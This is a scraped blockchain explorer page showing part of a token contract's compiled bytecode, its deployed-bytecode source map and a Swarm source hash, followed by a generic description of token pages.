4e487b7160e01b5f52603260045260245ffd5b5f602082840312156110c6575f80fd5b8151610af981610ddf565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111215784516001600160a01b0316835293830193918301916001016110fc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fca16bdf59f392121eeb24dd72126fc33a9149daa2e061bb3fe6afe000d3650f64736f6c63430008180033
Deployed Bytecode Sourcemap
3954:6104:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5881:83;;;;;;;;;;-1:-1:-1;5951:5:0;;;;;;;;;;;;-1:-1:-1;;;5951:5:0;;;;5881:83;;;;;;;:::i;:::-;;;;;;;;6714:161;;;;;;;;;;-1:-1:-1;6714:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6714:161:0;1023:187:1;4970:41:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4970:41:0;1215:177:1;6158:95:0;;;;;;;;;;;;;:::i;9496:115::-;;;;;;;;;;-1:-1:-1;9496:115:0;;;;;:::i;:::-;;:::i;:::-;;6883:313;;;;;;;;;;-1:-1:-1;6883:313:0;;;;;:::i;:::-;;:::i;6067:83::-;;;;;;;;;;-1:-1:-1;6067:83:0;;4791:1;2252:36:1;;2240:2;2225:18;6067:83:0;2110:184:1;4348:33:0;;;;;;;;;;-1:-1:-1;4348:33:0;;;;-1:-1:-1;;;;;4348:33:0;;;;;;-1:-1:-1;;;;;2479:32:1;;;2461:51;;2449:2;2434:18;4348:33:0;2299:219:1;6261:119:0;;;;;;;;;;-1:-1:-1;6261:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6354:18:0;6327:7;6354:18;;;:9;:18;;;;;;;6261:119;3035:148;;;;;;;;;;;;;:::i;4868:40::-;;;;;;;;;;;;;;;;4388:41;;;;;;;;;;-1:-1:-1;4388:41:0;;;;-1:-1:-1;;;;;4388:41:0;;;9376:112;;;;;;;;;;;;;:::i;2821:79::-;;;;;;;;;;-1:-1:-1;2859:7:0;2886:6;-1:-1:-1;;;;;2886:6:0;2821:79;;5972:87;;;;;;;;;;-1:-1:-1;6044:7:0;;;;;;;;;;;;-1:-1:-1;;;6044:7:0;;;;5972:87;;6388:167;;;;;;;;;;-1:-1:-1;6388:167:0;;;;;:::i;:::-;;:::i;4915:48::-;;;;;;;;;;;;;;;;9889:129;;;;;;;;;;-1:-1:-1;9889:129:0;;;;;:::i;:::-;;:::i;6563:143::-;;;;;;;;;;-1:-1:-1;6563:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6671:18:0;;;6644:7;6671:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6563:143;9619:96;;;;;;;;;;-1:-1:-1;9619:96:0;;;;;:::i;:::-;;:::i;9727:150::-;;;;;;;;;;-1:-1:-1;9727:150:0;;;;;:::i;:::-;;:::i;6714:161::-;6789:4;6806:39;656:10;6829:7;6838:6;6806:8;:39::i;:::-;-1:-1:-1;6863:4:0;6714:161;;;;;:::o;6158:95::-;6211:7;4848:13;4791:1;4848:2;:13;:::i;:::-;4834:27;;:11;:27;:::i;:::-;6231:14;;6158:95;:::o;9496:115::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;;;;;;;;;9566:18:::1;:37:::0;;-1:-1:-1;;;;;;9566:37:0::1;-1:-1:-1::0;;;;;9566:37:0;;;::::1;::::0;;;::::1;::::0;;9496:115::o;6883:313::-;6981:4;6998:36;7008:6;7016:9;7027:6;6998:9;:36::i;:::-;7045:121;7054:6;656:10;7076:89;7114:6;7076:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7076:19:0;;;;;;:11;:19;;;;;;;;656:10;7076:33;;;;;;;;;;:37;:89::i;:::-;7045:8;:121::i;:::-;-1:-1:-1;7184:4:0;6883:313;;;;;:::o;3035:148::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;3142:1:::1;3126:6:::0;;3105:40:::1;::::0;-1:-1:-1;;;;;3126:6:0;;::::1;::::0;3105:40:::1;::::0;3142:1;;3105:40:::1;3173:1;3156:19:::0;;-1:-1:-1;;;;;;3156:19:0::1;::::0;;3035:148::o;9376:112::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;9433:11:::1;:18:::0;;-1:-1:-1;;;;9462:18:0;-1:-1:-1;;;9462:18:0;;;9376:112::o;6388:167::-;6466:4;6483:42;656:10;6507:9;6518:6;6483:9;:42::i;9889:129::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9974:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;9974:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9889:129::o;9619:96::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;9688:10:::1;:19:::0;9619:96::o;9727:150::-;2948:6;;-1:-1:-1;;;;;2948:6:0;656:10;2948:22;2940:67;;;;-1:-1:-1;;;2940:67:0;;;;;;;:::i;:::-;9807:2:::1;9798:7;:11;;9790:20;;;::::0;::::1;;9819:12;:20:::0;;;9848:13:::1;:21:::0;9727:150::o;7204:177::-;-1:-1:-1;;;;;7289:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7341:32;;1361:25:1;;;7341:32:0;;1334:18:1;7341:32:0;;;;;;;7204:177;;;:::o;7389:1383::-;-1:-1:-1;;;;;7504:24:0;;7469:17;7504:24;;;:18;:24;;;;;;;;7503:25;:52;;;;-1:-1:-1;;;;;;7533:22:0;;;;;;:18;:22;;;;;;;;7532:23;7503:52;7499:917;;;7584:76;7656:3;7584:67;7606:15;;7596:9;;:25;7595:55;;7636:14;;7595:55;;;7623:12;;7595:55;7584:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7683:11;;7572:88;;-1:-1:-1;;;;7683:11:0;;;;7675:20;;;;;;7722:13;;-1:-1:-1;;;;;7722:13:0;;;7714:21;;;;7710:163;;7790:10;;7780:6;7764:13;7774:2;-1:-1:-1;;;;;6354:18:0;6327:7;6354:18;;;:9;:18;;;;;;;6261:119;7764:13;:22;;;;:::i;:::-;:36;;7756:71;;;;-1:-1:-1;;;7756:71:0;;6105:2:1;7756:71:0;;;6087:21:1;6144:2;6124:18;;;6117:30;-1:-1:-1;;;6163:18:1;;;6156:52;6225:18;;7756:71:0;5903:346:1;7756:71:0;7846:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7710:163;7898:13;;-1:-1:-1;;;;;7898:13:0;;;7892:19;;;;7889:197;;7943:79;8018:3;7943:70;7965:16;;7955:9;;:26;7954:58;;7997:15;;7954:58;;;7983:13;;7943:6;;:10;:70::i;:79::-;7931:91;-1:-1:-1;4848:13:0;4791:1;4848:2;:13;:::i;:::-;4834:27;;:11;:27;:::i;:::-;8049:10;;:20;8041:29;;;;;;8151:4;8102:28;6354:18;;;:9;:18;;;;;;8177:6;;-1:-1:-1;;;8177:6:0;;;;8176:7;:30;;;;-1:-1:-1;8193:13:0;;-1:-1:-1;;;;;8187:19:0;;;8193:13;;8187:19;8176:30;:45;;;;-1:-1:-1;8210:11:0;;-1:-1:-1;;;8210:11:0;;;;8176:45;:89;;;;;8248:17;;8225:20;:40;8176:89;:123;;;;;8281:18;;8269:9;;:30;8176:123;8172:233;;;8320:69;8337:51;8341:6;8349:38;8353:20;8375:11;;8349:3;:38::i;:::-;8337:3;:51::i;:::-;8320:16;:69::i;:::-;7557:859;7499:917;8431:11;;8428:161;;8499:4;8481:24;;;;:9;:24;;;;;;:39;;8510:9;8481:28;:39::i;:::-;8474:4;8456:24;;;;:9;:24;;;;;;;:64;;;;8538:39;;-1:-1:-1;;;;;8538:39:0;;;;;;;8567:9;1361:25:1;;1349:2;1334:18;;1215:177;8538:39:0;;;;;;;;8428:161;-1:-1:-1;;;;;8615:15:0;;;;;;:9;:15;;;;;;:27;;8635:6;8615:19;:27::i;:::-;-1:-1:-1;;;;;8599:15:0;;;;;;:9;:15;;;;;:43;8667:40;8685:21;:6;8696:9;8685:10;:21::i;:::-;-1:-1:-1;;;;;8667:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8653:13:0;;;;;;;:9;:13;;;;;:54;;;;8723:41;;;8742:21;:6;8753:9;8742:10;:21::i;:::-;8723:41;;1361:25:1;;;1349:2;1334:18;8723:41:0;;;;;;;7458:1314;7389:1383;;;:::o;1713:190::-;1799:7;1835:12;1827:6;;;;1819:29;;;;-1:-1:-1;;;1819:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1859:9:0;1871:5;1875:1;1871;:5;:::i;:::-;1859:17;1713:190;-1:-1:-1;;;;;1713:190:0:o;1911:246::-;1969:7;1993:1;1998;1993:6;1989:47;;-1:-1:-1;2023:1:0;2016:8;;1989:47;2046:9;2058:5;2062:1;2058;:5;:::i;:::-;2046:17;-1:-1:-1;2091:1:0;2082:5;2086:1;2046:17;2082:5;:::i;:::-;:10;2074:56;;;;-1:-1:-1;;;2074:56:0;;6951:2:1;2074:56:0;;;6933:21:1;6990:2;6970:18;;;6963:30;7029:34;7009:18;;;7002:62;-1:-1:-1;;;7080:18:1;;;7073:31;7121:19;;2074:56:0;6749:397:1;2074:56:0;2148:1;1911:246;-1:-1:-1;;;1911:246:0:o;2165:132::-;2223:7;2250:39;2254:1;2257;2250:39;;;;;;;;;;;;;;;;;:3;:39::i;8782:98::-;8839:7;8866:1;8864;:3;8863:9;;8871:1;8863:9;;;-1:-1:-1;8869:1:0;8782:98;-1:-1:-1;8782:98:0:o;8888:480::-;5245:6;:13;;-1:-1:-1;;;;5245:13:0;-1:-1:-1;;;5245:13:0;;;8990:16:::1;::::0;;9004:1:::1;8990:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8990:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8990:16:0::1;8966:40;;9035:4;9017;9022:1;9017:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9017:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9061:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9061:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9017:7;;9061:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9051:4;9056:1;9051:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9051:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9126:15:::1;::::0;9094:62:::1;::::0;9111:4:::1;::::0;9126:15:::1;9144:11:::0;9094:8:::1;:62::i;:::-;9167:15;::::0;9309:10:::1;::::0;;9167:193:::1;::::0;-1:-1:-1;;;9167:193:0;;-1:-1:-1;;;;;9167:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;9248:11;;9167:15:::1;::::0;9290:4;;9309:10;::::1;::::0;9334:15:::1;::::0;9167:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5281:6:0;:14;;-1:-1:-1;;;;5281:14:0;;;-1:-1:-1;;;;8888:480:0:o;1382:179::-;1440:7;;1472:5;1476:1;1472;:5;:::i;:::-;1460:17;;1501:1;1496;:6;;1488:46;;;;-1:-1:-1;;;1488:46:0;;8866:2:1;1488:46:0;;;8848:21:1;8905:2;8885:18;;;8878:30;8944:29;8924:18;;;8917:57;8991:18;;1488:46:0;8664:351:1;1569:136:0;1627:7;1654:43;1658:1;1661;1654:43;;;;;;;;;;;;;;;;;:3;:43::i;2305:189::-;2391:7;2426:12;2419:5;2411:28;;;;-1:-1:-1;;;2411:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2450:9:0;2462:5;2466:1;2462;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2731:416::-;2796:6;2804;2857:2;2845:9;2836:7;2832:23;2828:32;2825:52;;;2873:1;2870;2863:12;2825:52;2912:9;2899:23;2931:31;2956:5;2931:31;:::i;:::-;2981:5;-1:-1:-1;3038:2:1;3023:18;;3010:32;3080:15;;3073:23;3061:36;;3051:64;;3111:1;3108;3101:12;3051:64;3134:7;3124:17;;;2731:416;;;;;:::o;3152:388::-;3220:6;3228;3281:2;3269:9;3260:7;3256:23;3252:32;3249:52;;;3297:1;3294;3287:12;3249:52;3336:9;3323:23;3355:31;3380:5;3355:31;:::i;:::-;3405:5;-1:-1:-1;3462:2:1;3447:18;;3434:32;3475:33;3434:32;3475:33;:::i;3545:180::-;3604:6;3657:2;3645:9;3636:7;3632:23;3628:32;3625:52;;;3673:1;3670;3663:12;3625:52;-1:-1:-1;3696:23:1;;3545:180;-1:-1:-1;3545:180:1:o;3730:127::-;3791:10;3786:3;3782:20;3779:1;3772:31;3822:4;3819:1;3812:15;3846:4;3843:1;3836:15;3862:416;3951:1;3988:5;3951:1;4002:270;4023:7;4013:8;4010:21;4002:270;;;4082:4;4078:1;4074:6;4070:17;4064:4;4061:27;4058:53;;;4091:18;;:::i;:::-;4141:7;4131:8;4127:22;4124:55;;;4161:16;;;;4124:55;4240:22;;;;4200:15;;;;4002:270;;;4006:3;3862:416;;;;;:::o;4283:806::-;4332:5;4362:8;4352:80;;-1:-1:-1;4403:1:1;4417:5;;4352:80;4451:4;4441:76;;-1:-1:-1;4488:1:1;4502:5;;4441:76;4533:4;4551:1;4546:59;;;;4619:1;4614:130;;;;4526:218;;4546:59;4576:1;4567:10;;4590:5;;;4614:130;4651:3;4641:8;4638:17;4635:43;;;4658:18;;:::i;:::-;-1:-1:-1;;4714:1:1;4700:16;;4729:5;;4526:218;;4828:2;4818:8;4815:16;4809:3;4803:4;4800:13;4796:36;4790:2;4780:8;4777:16;4772:2;4766:4;4763:12;4759:35;4756:77;4753:159;;;-1:-1:-1;4865:19:1;;;4897:5;;4753:159;4944:34;4969:8;4963:4;4944:34;:::i;:::-;5014:6;5010:1;5006:6;5002:19;4993:7;4990:32;4987:58;;;5025:18;;:::i;:::-;5063:20;;4283:806;-1:-1:-1;;;4283:806:1:o;5094:140::-;5152:5;5181:47;5222:4;5212:8;5208:19;5202:4;5181:47;:::i;5239:168::-;5312:9;;;5343;;5360:15;;;5354:22;;5340:37;5330:71;;5381:18;;:::i;5412:356::-;5614:2;5596:21;;;5633:18;;;5626:30;5692:34;5687:2;5672:18;;5665:62;5759:2;5744:18;;5412:356::o;5773:125::-;5838:9;;;5859:10;;;5856:36;;;5872:18;;:::i;6254:135::-;6293:3;6314:17;;;6311:43;;6334:18;;:::i;:::-;-1:-1:-1;6381:1:1;6370:13;;6254:135::o;6394:128::-;6461:9;;;6482:11;;;6479:37;;;6496:18;;:::i;6527:217::-;6567:1;6593;6583:132;;6637:10;6632:3;6628:20;6625:1;6618:31;6672:4;6669:1;6662:15;6700:4;6697:1;6690:15;6583:132;-1:-1:-1;6729:9:1;;6527:217::o;7283:127::-;7344:10;7339:3;7335:20;7332:1;7325:31;7375:4;7372:1;7365:15;7399:4;7396:1;7389:15;7415:251;7485:6;7538:2;7526:9;7517:7;7513:23;7509:32;7506:52;;;7554:1;7551;7544:12;7506:52;7586:9;7580:16;7605:31;7630:5;7605:31;:::i;7671:988::-;7941:4;7989:3;7978:9;7974:19;8020:6;8009:9;8002:25;8046:2;8084:6;8079:2;8068:9;8064:18;8057:34;8127:3;8122:2;8111:9;8107:18;8100:31;8151:6;8186;8180:13;8217:6;8209;8202:22;8255:3;8244:9;8240:19;8233:26;;8294:2;8286:6;8282:15;8268:29;;8315:1;8325:195;8339:6;8336:1;8333:13;8325:195;;;8404:13;;-1:-1:-1;;;;;8400:39:1;8388:52;;8495:15;;;;8460:12;;;;8436:1;8354:9;8325:195;;;-1:-1:-1;;;;;;;8576:32:1;;;;8571:2;8556:18;;8549:60;-1:-1:-1;;;8640:3:1;8625:19;8618:35;8537:3;7671:988;-1:-1:-1;;;7671:988:1:o
Swarm Source
ipfs://fca16bdf59f392121eeb24dd72126fc33a9149daa2e061bb3fe6afe000d3650f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.